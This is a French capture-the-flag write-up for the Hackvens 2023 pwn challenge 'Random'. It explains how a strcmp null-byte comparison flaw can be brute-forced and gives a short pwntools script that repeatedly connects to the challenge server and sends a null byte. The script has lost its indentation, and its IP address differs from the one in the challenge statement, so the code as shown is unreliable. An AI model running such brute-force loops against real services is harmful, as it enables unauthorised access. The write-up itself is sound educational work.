[Hackvens 2023][Write Up – Pwn] Random

Enoncé


Parviendrez vous à deviner le code secret ?

nc 13.237.218.78 1337


Random ?

Random ?

 

Reconnaissance

Le binaire « random.elf » qui est fourni est un exécutable linux x86-64.

file random.elf

file random.elf

En termes de protections:

  • Full RELRO: La Global Offset Table (GOT) n’est pas réinscriptible.
  • No canary: Pas de protections contre les buffers overflow
  • NX: La stack n’est pas exécutable
  • PIE: Les adresses du programme seront aléatoires (à un offset près)

 

checksec random.elf

checksec random.elf

 

Reverse

fonction main

fonction main

Le programme va lire 0x1d bytes dans /dev/random.

call à /dev/random

call à /dev/random

Ensuite, le programme va lire 0x1d bytes depuis stdin.

call à strcmp et getFlag

call à strcmp et getFlag

Enfin, le programme va appeler strcmp pour comparer les deux chaînes de caractères. Si les deux sont égales, la fonction getFlag, qui affiche le flag est appelée.

La vulnérabilité

Comparé à strncmp, qui spécifie une taille précisée en argument, strcmp s’arrête aux null bytes.

Ainsi, avec une chance sur 256, la chaine de caractère aléatoire commencera par un null byte, et notre entrée sera comparé avec la chaine de caractère vide.
Plus qu’à bruteforce!

 

man strcmp

man strcmp

 

Solve.py

from pwn import *
data = b''
while data == b'':
r = remote('15.237.218.78', 1337, level='error')
print(r.recvuntil(b'\n\n'))
print(r.recvuntil(b'\n\n'))
r.send(b'\x00')
data = r.recvrepeat(0.1)
print(data)
r.close()

Flag

J’ai oublié de faire un screen du flag ^^

BDENNEUINGÉNIEUR SÉCURITÉ
Yolo

Add a comment

*Please complete all fields correctly